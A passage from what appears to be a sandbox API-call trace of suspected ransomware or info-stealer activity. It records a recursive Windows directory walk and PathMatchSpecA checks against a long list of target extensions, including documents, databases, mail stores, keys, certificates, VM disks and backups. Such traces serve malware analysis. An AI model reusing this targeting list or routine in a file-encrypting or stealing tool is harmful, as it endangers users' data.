(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.dbf") returned 0 [0111.917] lstrlenA (lpString="*.dbf") returned 5 [0111.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.myox") returned 0 [0111.917] lstrlenA (lpString="*.myox") returned 6 [0111.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.myo") returned 0 [0111.917] lstrlenA (lpString="*.myo") returned 5 [0111.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qbw") returned 0 [0111.917] lstrlenA (lpString="*.qbw") returned 5 [0111.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qbb") returned 0 [0111.917] lstrlenA (lpString="*.qbb") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qbm") returned 0 [0111.918] lstrlenA (lpString="*.qbm") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qbo") returned 0 [0111.918] lstrlenA (lpString="*.qbo") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qbx") returned 0 [0111.918] lstrlenA (lpString="*.qbx") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qba") returned 0 [0111.918] lstrlenA (lpString="*.qba") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qby") returned 0 [0111.918] lstrlenA (lpString="*.qby") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qbj") returned 0 [0111.918] lstrlenA (lpString="*.qbj") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.ofx") returned 0 [0111.918] lstrlenA (lpString="*.ofx") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.qif") returned 0 [0111.918] lstrlenA (lpString="*.qif") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mye") returned 0 [0111.918] lstrlenA (lpString="*.mye") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mbox") returned 0 [0111.918] lstrlenA (lpString="*.mbox") returned 6 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.eml") returned 0 [0111.918] lstrlenA (lpString="*.eml") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.pst") returned 0 [0111.918] lstrlenA (lpString="*.pst") returned 5 [0111.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.ost") returned 0 [0111.919] lstrlenA (lpString="*.ost") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.idx") returned 0 [0111.919] lstrlenA (lpString="*.idx") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.dbx") returned 0 [0111.919] lstrlenA (lpString="*.dbx") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.sql") returned 0 [0111.919] lstrlenA (lpString="*.sql") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mdb") returned 0 [0111.919] lstrlenA (lpString="*.mdb") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.fdb") returned 0 [0111.919] lstrlenA (lpString="*.fdb") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.wab") returned 0 [0111.919] lstrlenA (lpString="*.wab") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.dat") returned 0 [0111.919] lstrlenA (lpString="*.dat") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.txt") returned 0 [0111.919] lstrlenA (lpString="*.txt") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.jpeg") returned 0 [0111.919] lstrlenA (lpString="*.jpeg") returned 6 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.jpg") returned 0 [0111.919] lstrlenA (lpString="*.jpg") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.png") returned 0 [0111.919] lstrlenA (lpString="*.png") returned 5 [0111.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.php") returned 0 [0111.920] lstrlenA (lpString="*.php") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.cs") returned 0 [0111.920] lstrlenA (lpString="*.cs") returned 4 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.cpp") returned 0 [0111.920] lstrlenA (lpString="*.cpp") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.rar") returned 0 [0111.920] lstrlenA (lpString="*.rar") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.zip") returned 0 [0111.920] lstrlenA (lpString="*.zip") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.html") returned 0 [0111.920] lstrlenA (lpString="*.html") returned 6 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.htm") returned 0 [0111.920] lstrlenA (lpString="*.htm") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.xlsx") returned 0 [0111.920] lstrlenA (lpString="*.xlsx") returned 6 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.xls") returned 0 [0111.920] lstrlenA (lpString="*.xls") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mp4") returned 0 [0111.920] lstrlenA (lpString="*.mp4") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.ppt") returned 0 [0111.920] lstrlenA (lpString="*.ppt") returned 5 [0111.920] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.pptx") returned 0 [0111.921] lstrlenA (lpString="*.pptx") returned 6 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.doc") returned 0 [0111.921] lstrlenA (lpString="*.doc") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.dot") returned 0 [0111.921] lstrlenA (lpString="*.dot") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.docx") returned 0 [0111.921] lstrlenA (lpString="*.docx") returned 6 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.7z") returned 0 [0111.921] lstrlenA (lpString="*.7z") returned 4 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.tar") returned 0 [0111.921] lstrlenA (lpString="*.tar") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.bz2") returned 0 [0111.921] lstrlenA (lpString="*.bz2") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.gz") returned 0 [0111.921] lstrlenA (lpString="*.gz") returned 4 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mkv") returned 0 [0111.921] lstrlenA (lpString="*.mkv") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.eml") returned 0 [0111.921] lstrlenA (lpString="*.eml") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.msg") returned 0 [0111.921] lstrlenA (lpString="*.msg") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.edb") returned 0 [0111.921] lstrlenA (lpString="*.edb") returned 5 [0111.921] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.accdb") returned 0 [0111.922] lstrlenA (lpString="*.accdb") returned 7 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.odb") returned 0 [0111.922] lstrlenA (lpString="*.odb") returned 5 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.java") returned 0 [0111.922] lstrlenA (lpString="*.java") returned 6 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.asm") returned 0 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.pfx") returned 0 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.pem") returned 0 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.p12") returned 0 [0111.922] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.gpg") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.vsd") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.odg") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.raw") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.nef") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.svg") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.psd") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.vmx") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.vmdk") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.vdi") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.lay6") returned 0 [0111.923] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mpeg") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.djvu") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.tiff") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.backup") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.pdf") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.cert") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.docm") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.xlsm") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.dwg") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.nd") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.tlg") returned 0 [0111.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.lgb") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mov") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.xdw") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.ods") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.wav") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.mp3") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.aiff") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.flac") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.m4a") returned 0 [0111.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.csv") returned 0 [0111.925] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0ce3, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xef0ce3, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf16e43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xd0c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napsnap.ni.dll", cAlternateFileName="NAPSNA~1.DLL")) returned 0 [0111.926] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.926] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="46a2e8958905ea98cb6e91b38449c58a", cAlternateFileName="46A2E8~1")) returned 0 [0111.926] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.926] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x730070, cFileName="Narrator", cAlternateFileName="")) returned 1 [0111.926] lstrcmpA (lpString1=".", lpString2="Narrator") returned -1 [0111.926] lstrcmpA (lpString1="..", lpString2="Narrator") returned -1 [0111.926] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.926] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Narrator" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator" [0111.926] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.926] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.927] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.927] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4cc02fad33053737088d4c18267ca0a0", cAlternateFileName="4CC02F~1")) returned 1 [0111.927] lstrcmpA (lpString1=".", lpString2="4cc02fad33053737088d4c18267ca0a0") returned -1 [0111.928] lstrcmpA (lpString1="..", lpString2="4cc02fad33053737088d4c18267ca0a0") returned -1 [0111.928] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\*.*") returned="*.*" [0111.928] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\", lpString2="4cc02fad33053737088d4c18267ca0a0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0" [0111.928] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Narrator\\4cc02fad33053737088d4c18267ca0a0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.928] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.928] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3102802, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x3102802, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x3102802, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.928] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.928] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.928] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, 